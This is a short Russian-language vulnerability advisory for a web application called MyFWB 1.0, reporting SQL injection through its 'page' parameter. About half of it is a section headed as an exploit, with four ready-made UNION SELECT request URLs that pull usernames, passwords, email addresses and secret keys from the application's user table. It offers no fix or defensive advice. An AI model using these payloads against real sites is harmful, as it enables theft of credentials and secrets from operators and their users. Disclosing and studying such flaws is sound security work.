Программа: MyFWB 1.0
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «page». Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
Username:
http://host/MyFWB/?page=-0x90+union+select+0,0,username,0+from+user
Password:
http://host/MyFWB/?page=-0x90+union+select+0,0,password,0+from+user
Email:
http://host/MyFWB/?page=-0x90+union+select+0,0,useremail,0+from+user
Secret Key:
http://host/MyFWB/?page=-0x90+union+select+0,0,secret,0+from+user
